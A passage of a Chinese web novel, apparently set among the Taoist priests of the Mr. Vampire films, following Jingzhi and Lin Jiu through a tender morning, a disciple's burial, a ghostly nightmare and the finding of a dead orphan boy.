林九的嗓子有些哑,“先等等。” “等什么?” 刚说完,一床被子就罩住了她。 床外,她的手腕突然被一只大手扣住,大手渐渐上滑,与她的五指紧紧相握。 被子里一片昏暗,静之却能感觉到他身子的僵硬和慢慢上升的温度。 “阿九?你抓得我的手有点痛。” 林九赶紧松了点力道,却还是没有放开她的手。 他的双肘撑在她的身子两侧,头抵着她的脑袋,火热的呼吸一点一点喷洒在她的脸上,却久久说不出一句话,做不出一点“过分”的动作来。 “阿九?你倒是亲呀。” 再不济,说句话也行。 这么闷头盖着被子,她都快窒息了。 林九:他都快憋死了,这小磨人精,一天天就知道撩拨他。 “静之……我是个男人,你……” 静之突然的轻笑打断了他的话。 她没被握住的另一只手戳了戳他滚烫的脸颊肉,“又发烧啦?” 她又低声嘟囔着: “我还以为你是鳖精呢,从我对你示爱开始,你就够能憋,连一次主动的亲亲都能憋到现在。” 林九:“……” 他深呼吸了几口气,妄图压一压快被她气笑了的情绪。 奈何,被子里的空气已经萦绕着她个人身上的淡淡体香。 他越是深呼吸,眼睛就越红。 静之只感觉到半个身子压在她上头的林九都快着火了。 对他的隐忍,她内心是欢喜的。 她伸长了脖子轻轻啄一口他发烫的脸颊,又摁住他蠢蠢欲动,想说话的嘴。 “阿九,想亲就亲吧,我昨晚答应你的了,我可不是言而无信的人。” 林九:……那你倒是放手啊! 他有些无奈,于是头一侧,轻轻咬住她的手指。 奈何,咬了一嘴纱布。 林九委屈,林九不说。 他放开她的手指,嘴巴渐渐闭上,就连体温都下降了少许。 静之手指划过他紧抿的嘴唇,就知道他又有小情绪了。 这人一天天够深沉,有事儿,有情绪,通通都压在心里,可真是…… “给你亲给你亲,你别闷在心里不说——唔!” 林九眼都不敢睁,尽管心跳鼓噪得不行,对待她的动作却极为收敛。 只见他缓缓低头凑向她的嘴唇…… ……(略)…… 此时此刻,站在灶前,一手搅动着稀饭,一手摸着还在发烫的唇瓣的静之,深刻地明白了一个道理。 早上的男人,撩不得,老头也一样。 终于,是让他得逞了一次。 不过,他可真是个温柔的人呢。 第126章 事有蹊跷 “诶,文才,你昨晚真的一丁点,一丢丢声音都没听到啊?”静之有些难以置信的看着他,连手头上的碗倾斜了都不知道。 眼瞅着粥就要倒出来,林九眼疾手快一把扶正,“别管他,他从小就这副德性。” 静之又瞄了文才一眼,忍不住啧啧出声。 昨晚不说那震耳欲聋的打雷声了,就是那些鬼哭狼嚎,还有噼里啪啦的打斗声,都持续了很久,他居然还能安眠到早上?! 不得不说,这也是一种本事。 她吸溜口粥,刚想夹个花生米吃,一双筷子突然从侧边戳了出来,夹住它对面伸过来的筷子。 静之手一顿,筷子又默默收了回去。 她头朝林九旁边侧了侧,一双乌溜溜的大眼睛,却在相对而坐的四目和一休身上流连。 “阿九……” 她刚出一声,就被四目的冷笑打断。 “你过来干什么?!” 一休道一声阿弥陀佛,慈眉善目看着四目,丝毫没有因为他不善的语气而生气。 殊不知他那副装b样,让四目看了就来气。 一休:“道兄,我那儿的桌子,昨晚都被你跟僵尸砸烂了。” 四目一噎,转头朝隔壁桌的家乐去了个眼神,“抬块桌子过去隔壁还给他!” 一休微微一笑: “吃完早饭再过去吧,挪来挪去多麻烦啊。” 四目张了张嘴,还想说什么,林九一个冷眼过去,他瞬间噤声。 只是一休一要夹菜,他就率先夹走,反复几次,一休一脸无奈,四目则是一脸嘚瑟。 林九沉声怒斥:“师弟!” 四目咯嘣一下,狠狠咬碎嘴里那颗盐焗花生,仿佛那是臭秃驴的脑袋似的。 他皮笑肉不笑,给一休夹了一筷子豆腐,“吃菜!大师,我好爱你哦~” 不过夹菜的力道大了点,一休碗里的粥甚至嘣了几点出来。 一休:既然道理讲不通,那他还是略懂一些拳脚的。 于是两人开始你给我夹,我给你夹,速度越来越快。 一时间,小菜满天飞。 最后,他俩竟一人抵着一边桌子推搡了起来。 静之端着碗有些无措地站起来,并后退几步,“阿九,怎么……” 话还没说完,林九的汤匙就伸了过来,一勺仅剩的花生米落到她稀饭上头。 “唉,我们去秋生那一桌吃。” 林九有些无语,这个师弟他是管不了了。 他之所以不爱来四目这里,就是因为这两个人。 分开就还好,每次凑到一起,就跟斗鸡似的。 秋生挪过去跟文才一起坐,刚给他俩腾了个条长凳出来,只听得咵嚓一声响。 隔壁被推搡的桌子,裂成两块了。 静之就是有些心疼她刚刚做好的菜跟粥。 “你俩……厨房里还有剩,你们要不要……” 相对而站的两人,不约而同哼了一声撇过头去,一个转身回房,一个朝吃饭的菁菁说: “我先回去做早课,你吃完就回来。” 说罢,他冷着脸转头就走。 这当中,最尴尬的,就属家乐。 他朝脸色越来越不好的菁菁尬笑一下,刚要替他师父道个歉,哪曾想人家小姑娘也是有脾气的。 她哼了一声,端着没吃完的粥就走了。 “家乐!”静之小小声叫了一声,无措的家乐朝她看过去,静之指指厨房的方向,小声说:“打盆粥送过去,他俩都没怎么吃呢。” 她又悄悄回头看一眼四目的房门,发现里头毫无动静,她这才转头又说了句:“今天人多,我有多煮一些,去吧。” 家乐感激地朝她笑了笑,麻溜的去了。 见他们虽然闹腾,但互相维护的样子,隔壁桌的小王爷是越发的消沉。 他一眼就看出这几个师兄弟里头的主心骨是林九,于是放下碗,让乌侍郎搀扶着他走了过来。 朝静之道谢以后,他才对林九说明来意: “道长,我不能在这里久留,既然我父亲不幸……那我也要回京了。” 林九指尖轻轻敲击着桌面,心下暗自思量一番,才有些不赞同的问道: “你确定?你刚受伤,不宜舟车劳顿。” 小王爷眉头尽是阴郁之色,他斩钉截铁的点头。 他年纪虽小,但也跟着他父王认清了不少当今局势。 如今军阀割据一方,宫中又尔虞我诈。他父王这把庇护伞一倒,他多在外头流离一日,便多一分危险。 至少,京中的祖母还是真心疼爱他的。 “嗯,侍卫尽亡,好在还有乌侍郎,这儿离镇上近,入镇以后,就有亲信接我回京,没问题的。” 边说着,他又朝屋里唯二没受伤的男人——秋生,问道: “这位哥哥,不知你可有空送我一程?” 秋生第一时间看向林九,林九则转头看向千鹤。 毕竟,这是千鹤的客户,秋生接下的话,是不是不太好…… 千鹤看出了他的迟疑,“师兄,你就让秋生去吧,实在惭愧,我这几个弟子都受伤了……” 说到这儿,他又想起小北,眼里瞬间闪过一丝哀伤。 林九:“……行吧,秋生,你骑上你的自行车带他先回任家镇吧,记得骑慢些,别颠到人家。” 说完,他又朝乌侍郎招了招手,“我给你抓几付药,你每隔两天,记得给他伤口换药,记得按照我的要求……” 两人边说边走,一路走进了四目的药房。 …… 忙碌了半天。 下午时分,林九,静之和千鹤东南西三个弟子,还出去给小北挑了块墓地下葬了。 三个弟子跪在小小的坟包前,洒着黄纸哭成了个泪人儿。 千鹤双臂还紧紧裹着纱布呢,硬是要跟来看看。 这会儿,他眼眶湿润,站在坟前沉默了许久。 林九轻轻拍了拍他的肩膀安慰道: “师弟你……节哀。” 千鹤深吸了一口气,忍下即将溢出的泪水,微微沙哑着声音对林九说: “师兄,昨晚那道雷来得太过突然,我想,事情并非偶然。” 林九表情一肃,“你看到了?” 千鹤点头,“昨晚一开始的雨势太大,我怕帐篷会漏水,于是叫小北过去检查。” 他的视线落在那洒满黄纸的坟包,思绪瞬间又回到了昨晚看到的那一幕。 “阵雨急来急停,小北过去没多久,雨势就变小了……没想到天空中散尽的乌云又突然聚集,才有的那道雷。 我觉得,种种巧合叠加,肯定有人为因素。” 他的想法,倒是与林九之前跟静之说的,不谋而合。 林九:“呼云唤雨,引雷之术,可不是普通人能做到的。” 就在这时,静之突然也想起了她在大帅祠堂里发现的那条被刀割断的麻绳。 于是赶紧凑上前说:“阿九,之前龙大帅他爹之所以会尸变,我觉得也是人为的。 这几天忙,我都忘了这事儿了,栓棺材那绳子,断口齐整,我和秋生一致觉得,是用刀割断的。那绳子你也见过,都有我手腕粗呢,不可能这么容易断掉的。” 林九眉头紧锁,陷入了沉思。 千鹤一时也被静之说得有些迷茫。 他和他师兄竟然都被人阴了。 难不成,是有人要针对茅山? 林九:“千鹤,先回去再说吧,我会查明真相,给你一个交代的。” 他最怕的,是他的事情牵扯到他师弟,若是因为他的事儿,让千鹤的徒弟丢了性命,那他,实在难辞其咎。 …… 第128章 你也闭嘴 为小北找的墓地有些远,回四目家的这段路,后半程千鹤终于顶不住了,是被大徒弟小东背回去的。 林九不敢再让他操劳,回去后,就打发他几个徒弟去照顾他。 他则牵着静之来到二楼阳台,说要问话。 然而,话没问呢,就杵在阳台口当柱子。 望着不远处渐渐落下的夕阳,林九一言不发,直到现在,也依旧是这个愁眉不展的表情:(?_?) 静之牵着他的右手轻轻摇了摇,“你不是要问我话吗?怎么又不说话了。” 林九抬起左手轻轻摸了摸她的脑袋,又长长叹息一声。 静之见他这副样子,也跟着蹙起眉,“你要是真担心的话,咱们早点回去,你上次不是说有什么媒介吗?咱们回去找找?” 林九:“千鹤搞成这样,我实在不放心就这么回去。” 还有个原因他实在没脸对静之说。 那就是四目。 他师弟这个鬼性格有时候跟秋生一样,从年轻的时候就喜欢捉弄人,气性也大。 比如今早的事儿,现在都吃完晚饭了,他甚至气到还未出房门一步,就连晚饭都是家乐端进去给他吃的,这还像是为人师表的样子吗? 想到这,林九又深深叹了口气。 “你别叹气嘛,你这样我也难受。”静之捏了捏他的手指头,柔声劝他:“咱们一起分析分析呗,集思广益,总会找到凶手的。” 边说着,她轻轻抱住他,靠在他的胸口听他平稳的心跳,撒娇道:“阿九在我心里,可是最最厉害的。” 此话一出,林九眉心的褶皱甚至去了少许。 果然,屁话虽可耻,但十分有用。 林九拿了墙边两个蒲团过来,与静之面对面坐下。 他理了理思路,回想了好一会儿当时的细节,才问:“那条绳子,你有带回来吗?” 静之摇头,“那时候你闹肚子,我哪有心思捡什么绳子,而且,大帅也不可能让我把他祠堂里的东西带回来的。” “……那就难办了。” “怎么难办?” 林九:“一般物品上留有个人气息的话,我倒是有好几种办法可以找到这个人,但现在,咱们跟龙大帅的关系……他怎么也不可能让我们再进祠堂一趟了。” 静之点头称是,毕竟他们给他治病,都给他治离婚了,换成谁,也不会再愿意跟他们处朋友了。 她甚至想,再去大帅府的话,大帅可能就得一枪崩了他们。 枪? 静之突然一把抓住林九放在膝盖上的手,双眼有些发亮,“阿九,话说大帅的祠堂就算在郊外,也是有士兵把守的,那个人要是想避过这么多把枪翻进祠堂,那他功夫肯定不错。” 林九点头,说出他的见解:“是的,不仅身手要好,他对风水也应颇有研究,不然怎知那棺材一落地便会起尸。” 静之冥思苦想了一会儿,实在想不出来在她认识的人里,到底有谁符合这个条件。 “咱们有得罪过这种人吗?” 她又掰着手指头数,“你看,我认识的会看风水的,也就只有你,蔗姑,四目。 千鹤师弟既然都被整了,那应该也不是……” 突然,她灵光乍现。 两人几乎是同时说出口。 “风水先生!” “风水先生!” 刚说完,林九就又摇了摇头,“不应该啊,我与任老爷年纪相仿,他父亲都去世了,那风水先生,应该也已垂垂老矣,身手怎会如此灵活?” 静之对这话并不赞同,她轻摇食指,又上手捏了捏林九结实的臂膀: “怎么不可能,那任老爷四十几,他爹估计也就六十几,我相信你到那个时候,依旧也是身手矫健的人的!” 林九还没被人这么直白的夸过,他失笑摇头,轻轻捏了一把静之的脸颊,“承蒙你看得起我。” 林九明显就是不信。 她有些不开心了,于是嘟着嘴把他的手拉下来,一本正经说: “我不是在说笑,你看看,你们修道之人是不是都会炼体,就连文才的体质也比普通人好上那么一点,你怎么也能活个——” 话还没说完呢,她的视线突然就被隔壁屋子里的四目吸引。 “阿九你快看!四目居然还会去一休大师家诶,他不是跟人家吵架了吗?” 她猛摇了两下林九胳膊,手握着栏杆,一脸好奇的从缝隙里看去。 林九有些无奈,正说着话呢,她可真是……像小猫咪一样,好奇心重。 不过,他的视线却老实跟随着她指向的地方看了过去。 这一看,林九都有些咂舌。 他师弟…这是转性了? 也难怪她看得目不转睛。 因为他师弟正对着一休大师笑呢。 林九觉得那个笑容暗藏玄机。 果然。 四目出来的时候,手上好像拿着人家什么东西。 “师弟!借人家东西记得还。” 林九朝走过来的四目说道。 四目一惊,他师兄什么时候在上面的? 他赶紧把手头上的东西藏在身后,咳了咳,抬起头梗着脖子说: “借什么借!这是他送给我的。” 静之:“哈?” 打死秋生她都不信。 一休早上走的时候,可是已经绷不住那副慈眉善目的表情了。 见她还想再问,四目赶紧尿遁。 “阿九,他到底搞什么鬼啊?” 夜风微凉。 林九朝后伸手撩过她的被子,轻轻抖落开来将她掩住,这才指了指对面正在敲木鱼、念佛经的一休说:“且先看看再说。” 静之把被子分他一半,然后抱着他的胳膊靠在他肩头,静静地看着对面的老头。 看了一会儿,她突然说: “我怎么有一种不祥的预感?” 话音刚落,对面正敲木鱼的一休突然把木鱼……丢了?! “我去!” 她还没震惊完,对面的一休已经开始掀桌(╯‵□′)╯︵┻━┻ “我去!!” 转眼间,那一休已经跟发病了似的,走路姿势堪比行尸走肉里的丧尸,一卡一顿的。 他好像听到她的喊声了,眼睛朝他俩看了过来,满眼都是慌乱和求救,哪里还有之前那副云淡风轻的模样。 他的佛心,这是被四目破了呀?! 就在这时,他突然同手同脚的走向墙边的柜子,迅速从翻找出一根钳子,就朝嘴里比划。 刹那间,她身边被子一空。 一道身影闪过。 她定神一看,林九在这瞬间,已经翻到隔壁房子,并夺下了一休手上的钳子。 怎知一休这时竟抓着林九的双手……跳起了舞?! 对面的静之和听到噪音推门进来的菁菁看得目瞪口呆。 林九气急败坏,“静之,去楼下把四目给我拎过来!” 说话间,他将一休双手反剪到身后,“对不住,是我师弟调皮,你且先这样,否则我师弟不知道还会想出什么怪招整你。” 过了一会儿,静之扯着一脸心虚,不断挣扎的四目,来到一休房间。 “师,师兄。” 林九脸黑得不行,“道歉!” 四目怕他归怕他,跟死秃驴道歉? 门都没有。 他脸一别,犟得跟头驴似的。 他这副样子,倒是给护短的菁菁气笑了。 她朝林九微微鞠了个躬,又冷着脸指向四目:“林道长,他三番五次欺负我师父,接下来,不管我做什么,希望你都不要插手!” 这时,揉着肩膀的一休从地上爬了起来,“菁菁啊,得饶人处且饶人。” 菁菁狠狠瞪了四目一眼,“师父,你别说话,不出口气,我会憋死的!” 静之和林九不约而同地朝后退了一步。 四目最近是有些过分,他俩都不想管了。 林九甚至还帮菁菁定住欲逃跑的四目。 见二人不阻止,菁菁嘴角一勾,从怀里拿出家乐给她的他师父模样的小人偶,口中念念有词,又比划了几个手势。 然后尝试性的掰着小人做了几个动作,静之发现,定住的四目像提线木偶似的,也跟着动了起来,那动作,与菁菁手中小布偶的动作如出一辙。 静之:“诶诶,阿九,这什么招啊?” 林九捏了捏眉心,“你别想学,不是什么好招。” 静之哼了一声,“我才不学呢,我就是问问嘛。” 林九斜眼瞟她脸上那跃跃欲试的神情,怎么看,怎么都是想学得不行的样子。 林九索性拉着她快步走出屋子。 静之边踉跄小跑着,边回头看菁菁的举动,嘴巴上还不停叨叨: “阿九,还没开始呢,给我再看一眼嘛。” 林九打定主意不让她看,见她停下来不走,甚至还往一休的院子里偷溜回去几步,他咬咬牙,冲过去将静之打横抱起,端着她走回四目家。 静之被他突如其来的举动,吓得赶紧搂住他的脖颈。 刚踏入四目家的大门,林九跟静之瞬间社死。 千鹤正被三个徒弟伺候着换药,这会儿药也不换了,小东手里的纱布甚至都掉地上了。 正扫地的文才愣愣的看着两人,手上不禁一松,扫把哐的一声掉在地上。 这声儿瞬间唤回他的神智,他支支吾吾说:“师,师父,你们……” 林九:“闭嘴!” 千鹤:“师兄,你……” 林九:“你也闭嘴!” 静之笑眯眯的扫了一眼众人,这才回头,试探性的唤了一声: “阿九?” 她想知道,他会不会叫她闭嘴啊? 林九一句闭嘴吞落肚去,把着她腿弯的那只手渐渐收紧,“……你跟我上去!” 静之轻轻笑了一声,将头顺势靠在他的肩膀处,略带调侃说道: “好哦,你要带我去哪里都可以~” 也不算是调侃,她心里真是这么想的。 话里的几分真诚,让林九直接红了脸。 众人也感到一阵牙酸。 突然,从楼梯口传来林九低低的声音: “你也闭嘴。” 那语气十分轻柔,千鹤竟还从中听出几分羞赧之意。 无奈?妥协?宠溺? 他们几个修道的,想来是分不清了…… 第129章 飞蛾扑火 半夜,静之做了个梦。 无关林九,是个噩梦。 这很不寻常。 毕竟,她的梦一直都是关于林九的。 此时,她又回到了那顶花轿里。这回,轿门不是封闭的了。 半透明的红纱随着抬棺人的脚步轻轻摇曳着,她可以清晰地看到黑色棺木盖子上,叉开腿坐着的那个新娘背影。 耳边又渐渐传来了欢快的鼓点和唢呐声响,静之想起蔗姑的交代,想闭上眼,然而不管她怎么使劲儿,眼皮子就是死死定在那里,合不起来。 靠,这还是她的梦吗? 怎么自控都做不到了?? 一阵微风拂过,几片暗红色的花瓣随着风飘进大敞着门的花轿内。 静之嗅不到一丝花香,倒是有一股腥臭的血味从拂过她鼻尖的花瓣传来。 就在她五感尽开的时候,前头那新娘动了。 她的头却以极慢的速度,一点一点转了过来。 静之吓得瞳孔都快缩成针尖了,这种不受控感,让她心里产生一股强烈的恐慌。 这逃跑的女鬼,不会入她梦,索她魂吧?! 突然,前头那颗堪堪转了90度的头颅,还未来得及被静之看清脸庞,便快速转了360度。 “咕噜咕噜。” 新娘身体依旧朝前坐着,那颗头掉了下来,一路滚到静之脚边。 静之恨不得戳瞎自己双眼。 这种诡异的场景,用脚趾头想都知道,那头不会好看到哪里去。 然而,她的视线却不受控的一点一点往下挪…… 当她的目光与那双圆睁着、死死瞪着她的眼睛相对的那一刻,一股寒意瞬间从脊梁骨处升腾而起。 怎么是她?! …… “静之!静之!” 林九看着闭眼皱眉,不断呜咽挣扎的静之,一脸担忧。 这是…梦魇了? 可为何叫不醒? 就在他想再叫一声的时候,静之“嗬——”的一声,一个鲤鱼打挺,从床褥上坐起,并死死搂住他的腰。 仿佛还停留在梦中,她的身子微微颤抖着,嘴里也不住呢喃道: “阿九,阿九,我看到了,我看到她的脸了。” 林九也一阵后怕,他紧紧搂着她,却是轻轻拍着她的背安抚着,随口问了一句: “什么脸?别怕,我在这儿,我在这儿呢。” 仿佛找到主心骨,静之双手紧紧揪住他的背后的衣服,“那个女人,米其莲身边那个女人,她的脸,跟我和蔗姑在路上遇到的那两个女鬼的脸一样!” 林九皱眉,“什么女鬼?你未跟我说过。” 静之一梗,她轻拍了一下林九的背: “怎么跟你说,那时候我还生你气呢。” 她推开他一点,眼神里有着见鬼的惊恐跟一丝不解,“哎呀,别说这个了,我刚刚梦到的那个鬼新娘,还有那个穿蓑带帽的白衣女鬼,跟那个诡异的女人是同一张脸诶!真奇怪。” “等等!你再说一遍那鬼的特征!” 静之为他面上的凝重感到疑惑,当初蔗姑也是这样的表情。 这鬼,难道不是普通的荒郊野鬼吗? 不过既然他问了,她就算再怵那个画面,也只能赶紧回忆一下。 “就俩个队伍,一边是迎亲队伍,一边是送葬队伍,迎亲队伍还算合理,那送葬队伍的主人才奇葩,她竟然坐在棺材盖上,给我吓得,毛都竖起来了。” 她回想起当时的情景,忍不住咽了口唾沫,又赶紧扯着林九钻进被子里,然后把自己团吧团吧挤进他怀里,两只脚也紧紧缠着他温热的小腿。 轻轻揪着他领口,直到闻到那股淡淡的檀香味,她的心才渐渐安定下来。 “还有,蔗姑叫我不要看,我是没看,但是不知道怎么的,就被抓进花轿里了,那个花轿才奇怪呢,是架在棺材上的。 然后他们还抬着我们两个人往水里跑,要不是蔗姑救我,这会儿我已经——唔!” 林九轻轻捂住她的嘴,脸上表情越发凝重,“别说那个字。” 林九心下骇然。 红白双煞,可是茅山禁术。 他想,对方居然能使出这种手段,可见也曾习得茅山术法。 可他茅山的人最是护短,绝无可能如此针对他呀。 “阿九,那女人,你不是说,被做成傀儡了吗,她的脸,怎么还能跟那两个女鬼一样呢?” 他轻抚着她被冷汗浸湿的鬓发,爱怜的啄了一口她的额头,微微加大一点力道将她扣进怀里,眼里却全是冷凝的光。 “体为傀儡,魂被拿去炼成恶鬼罢了。” 他又问:“蔗姑把魂收了吗?” 静之顿了一下,抬起头问:“没有,事态紧急,让她给跑了。她……还会来吗?” 林九不是很确定,但能肯定的一点就是,背后之人,肯定还会对他们出招。 看来,他们必须得赶紧回义庄了,需得早做准备。 而且,他竟是又欠了蔗姑一个人情了。 “静之,抱歉,不能再让你在这里玩了,我们得回去了。” 她摇摇头,一脸认真的说:“也就第一天玩了一下水,这两天忙都忙死了,回去也好,也叨扰了四目许久了。” 她想了想又问:“那千鹤呢?带他回义庄吗?” 林九沉吟一声,否定了这个提议。 “不行,我有种预感,千鹤……大概率是被我们连累了,他有伤在身,再跟我们在一块儿,后果不堪设想。” 静之呐呐问道:“那,那怎么办?四目师弟就顾着跟一休掐架了,能照顾好他吗?” 林九突然笑了一声。 静之愣住了,这么严肃的时刻,他竟然还能笑得出来? “笑啥?” 他好不容易止住笑意,又无奈的摇了摇头说: “菁菁那姑娘骗四目喝下了一大缸油,他现在估计还蹲在厕所呢,我估计,他会消停一阵子了,千鹤伤势比小王爷重,不宜再跟我们奔波,就让他待在这儿吧。” 静之一骨碌坐起身,瞪大了眼睛问:“是吗?” 她被子一掀,就要往外爬,“我去看看。” 这么精彩的恶搞,不看一下再走,真是白来了。 还没爬两步,她的脚踝就被一只温热的大手握住。 林九将她拖进被子里,把被子给她卷得严严实实的。 他眼一眯,对上她好奇的视线:“你还想看什么?外面黑漆漆的,你不害怕吗?” 静之咕咚一声,咽了口唾沫。 她怎么觉得,林九这时的眼神有些危险。 她伸出半只手招了招,“睡,睡觉。” 林九满意的一扬下巴,又躺了回去。 “快睡,明早叫上文才,咱们早些启程——你干什么?” 林九看着一骨碌,连人带被滚到他床褥上的女人,有些无语。 静之眨巴两下亮晶晶的大眼睛,“我还是害怕,你抱着我睡。” 笑话,明天就回去了,她到时候肯定就会被保守的林九赶回自己房间睡了,只能趁现在多与他贴贴了。 林九无奈,视线看到她微湿的刘海,还是有些心疼。 于是又把她从被子里挖出来,埋进自己的被子里。 “好了,乖乖睡觉。” “嗯嗯。”得逞后的她乖得不行,看得林九一阵脸热。 他深呼吸一口气,平复了一下心绪,轻轻地拍着她的肩头哄她睡觉。 拍没两下,找到安全感的静之迅速进入睡眠。 看着她娇俏的睡颜,林九不禁低声嘀咕: “还说文才呢,我看你也不遑多让。” 静之舍不得离开他,林九同样如此。 两人紧紧拥抱着,他却毫无睡意,盯了她快一个时辰了,依旧无法入眠。 寂静无声的房间里,突然传来一声轻叹。 然后……他终是做了不君子的事儿。 …… 第二天,与四目辞行后,往回程走的静之,时不时挠两下脖子。 怎么回事儿,觉得颈侧靠后的位置,有些刺挠的火热感。 文才快走两步,好奇地看了一眼她脖子,他突然哦~~了一声。 林九心里一个咯噔,一个箭步上前,赶紧捏住静之的领口。 “走前面去!” 刚呵斥完文才,他的袖口就被揪住,轻轻摇了摇。 “阿九,帮我看看,是不是虫子掉到我脖子上了?” 林九也就瞥了一眼她脖子上的两个红色印子,就赶紧收回眼神。 “……是有一只,我帮你抓掉。” 说话间,他伸手朝她脖颈间轻拂了一把。 她低头,好奇地睁大眼睛往旁边的草丛里寻找着,“什么虫?不会是毛毛虫吧?” 林九突然开始咳嗽,咳了好一会儿,对上静之担忧的目光,他才突然止住。 看着远去的文才,他突然小声嗡嗡:“没什么,是个飞蛾,飞走了。” 静之顿时失去了兴趣,她搓了搓脖子,浑身直起鸡皮疙瘩,嘴里嘀咕着: “那我回去要洗个澡,飞蛾翅膀上的粉可是很容易导致过敏的。” 林九默不作声,只是点了点头。 他想,他可不就是那只飞蛾嘛。 已经牢牢被她这团温暖的火焰……彻底吸引住了! 第130章 捡到个小孩 回程,林九跟静之并没有走很快,静之百无聊赖走着,不一会儿,又拉起了林九干起了老本行——采药。 就算有了林九的护身符,暂时没了生命危险,她的好运气仿佛被尽数盗走了一般,手气烂到不行。 静之跟林九找了半天,除了几株常见的治头疼脑热的药材,啥也没发现。 正当她气得捡根棍子要抽树干时,林间小路前头,突然传来文才一声惊叫。 “师,师父!” 林九以为他又衰神附体出事了,眼神一凛,赶紧跑了过去。 他快,爱凑热闹的静之比他更快。 还未跑到文才跟前,林九就看到跑到他前头的静之突然后退两步。 “怎么了?”林九走近一看,一个穿着破烂的小孩,脸朝下趴在地上,不知生死。 静之小心翼翼的半蹲下来,本想扶一把,脑子里却突然想起昨晚那个恶梦。 深山老林,地上躺着的小孩。 怎么看,怎么诡异。 于是,她伸出去的左手突然换成右手拿着的细木棍。 静之拿着木棍轻轻戳了两下小孩的胳膊,“喂,小朋友,你没事吧?” 小孩动都没动一下。 静之又戳了戳,戳了又戳。 林九实在看不下去了,他跟着蹲下,将小孩翻转过来。 脸朝上的一刻,他和文才皆惊呼出声。 “小雨!”*2 静之一脸迷茫,“你们认识?这谁家的?” 林九摇了摇头,“他是个孤儿,平时就在镇上讨饭吃,有时候被镇上小朋友欺负了,也会跑到义庄附近躲着,我跟文才碰到过几次。” 边说着,他伸手轻轻拍了拍小雨那张苍白的脸。 “小——” 指腹刚触到小雨圆圆脸蛋的时候,林九顿时一阵心惊。 来不及解释,他立刻摸上他脖间血管,又试了试他的鼻息。 文才眼睛越瞪越大,看着林九越发沉重的脸色,他的心里突然有了个不祥的预感: “师父,他他他……” 林九重重叹了一声,眼里尽是不忍。 这孩子,生不逢时,又恰逢乱世,飘零几载,便在此殒命,当真是可怜。 “皮肤尚且温热,可见刚死不久,你把他背到义庄吧。” 文才吓得后退两步,手指向自己,“我?我背?” 林九:“难不成我背?” 静之举手,“我倒是可以背。” 林九把她的手压了下来,又瞪了文才一眼,“不用你,这几天好吃好喝伺候他,也该让他干干活了。” 林九低头看向小雨。 明明是十岁年纪,却因三餐不济,胳膊腿,还有那个头,瘦小得如同六七岁的模样,实在是太让人心疼了。 文才伤势好得差不多了,背他绰绰有余。 “走吧。”林九扯掉静之手中的木棍,轻轻拍去她手指头上的树皮屑,这才牵着她走到前头去。 静之看了看两人交握的手,忍不住轻轻一笑。 他好像越来越习惯跟她亲近了呢,真好。 她又回头看了一眼文才背上的小雨,“阿九,你打算将他埋了吗?” 林九点头,“他没有亲人,也无人替他操持后事。”林九想了一会儿,才不紧不慢的说:“先放在义庄,待我们找到凶手后,我为他做一场法事,再择日将他下葬。” 静之放慢脚步,愣愣的看着他正气凛然的侧脸。 突然,她掰过他的脸,啄了他的唇一口,“阿九,你虽然老是臭着脸,但是心肠可真好。” 文才看着这两人又腻歪上,也可以说,是静之单方面腻歪,他实在没眼看,赶紧快走两步到前头去。 林九看了他背影一眼,又有些局促地摸了摸自己的嘴巴,“以后,在外面,能不能别……” 话还没说完,静之又笑眯眯的亲了他一口,“别什么?” 林九:“……” 他扯出自己的手,屏住呼吸,背着手大步流星地往前走去。 静之诶诶两声,赶紧追了上去,“好嘛好嘛,在外头不亲你!真是的,你可真容易害羞。” 林九:是他容易害羞吗?是吗??? 明明就是她,光天化日,动口又动手。 “喂~不给亲,牵一下手嘛。” 林九走得越发快了,然而静之跟得紧紧的,她一把捏住他的红耳垂,“可真烫,阿九,你真可爱!” 林九转头看她,有些一言难尽。 他四十几了,经常被两个徒弟说可怕,被镇上的人说严肃,还从未有人说他可爱。 这两个字安在他身上,难道不违和吗? 静之见他放慢速度,赶紧将手穿过他的臂弯挽着,“喂,这就生气啦?” 林九默了默,实在拿她没办法,“没生气。” “真的?”静之得寸进尺,将头轻搁在他肩头,“那……你等会做饭给我吃?” 林九:“……好。” 静之:“做鱼吃?” 林九:“……好。” 静之眼睛越来越亮: “晚上我搬过去跟你睡啊?” 林九斩钉截铁:“不行!” 静之: 啧,差点就套中了。 …… 将近午时,三人一尸终于回到了义庄。 林九:“文才,搬去侧房,帮他擦身换衣,顺便给他上柱香。” 文才应了声哦,跨进院子后,先朝侧房走去。 听到说话声,秋生拎着锅铲从厨房里跑了出来,“师父,你们不是要多待几天,这么快就回来了?” 在静之那里丢掉的威严,林九在秋生这里捡回来了。 他沉声问道:“嗯,小王爷给人家送到了吗?” 秋生突然贼笑着凑了过来,从怀里掏出一个鼓鼓囊囊的荷包,“昨天就送到了,驿站里的家丁给他接走了,你们猜,他们管家给我多少钱?” 静之一脸好奇,“多少?” 秋生这辈子都没拿过这么多钱,他清了清嗓子,打开荷包,拉下给他俩看。 “哈!三条小黄鱼!” 静之差点被那金闪闪的光芒亮瞎眼,林九则是微微皱起了眉头。 他夺过秋生的荷包,“前半段,是你师叔和几个师弟护送的,你理应把他的那份还给他。” 秋生欲言又止,半伸出手,又不敢真的抢过来,只能嘴上哔哔:“诶诶,那还有1.5根是我的!” 林九一把将荷包塞进怀里,“老规矩,我帮你保管。” 见秋生捣鼓着嘴,小声嘟囔的样子,林九觑了他一眼,“怎么?想拿回去?” 秋生讪笑了一下,“不,不想。我去做饭!” 妈的,想得要命哦。 他师父可真是周扒皮,一点儿都没给他留啊。 …… 静之亦步亦趋的跟在林九身后进了书房。 林九走到架子前,从怀里掏出一根钥匙,打开了架子上的一个大盒子。 静之凑上前一看,大盒子里还有两个小盒子。 这时,林九又掏出一根更小的钥匙,打开左边的小盒子,将小黄鱼放了一根进去。 静之看明白了。 这两盒,是秋生跟文才的“嫁妆”吧。 “阿九,你不是说要给秋生一半?怎么只给他放一条进去?” 林九捏着手中的荷包,竟觉得这两条小黄鱼上面沾满了小北的血迹,“……这是千鹤应得的。” 看着他眼里闪过的自责,静之轻轻拍了拍他的手安抚,“谁都不想这样的,事情还未调查清楚,你别把责任全部揽到自己身上呀。” 书房中,静之抱着他静静站了一会儿。 “好了,既然秋生去做饭了,你想想怎么找那个媒介呗,我去泡壶茶给你喝?” “嗯,麻烦你了。” 静之看着他还未散开的眉头,突然搞怪起来: “既然知道麻烦……要不晚上让我进你房间睡?” “……不行。” 他拉着静之走到书房门口。 拉开门栓打开门,让屋外刺眼到不行的阳光和朗朗青天见证他的清白。 “抱歉,我会尽快找到凶手的,我们的婚事,待凶手伏诛之时,再举办可好?” 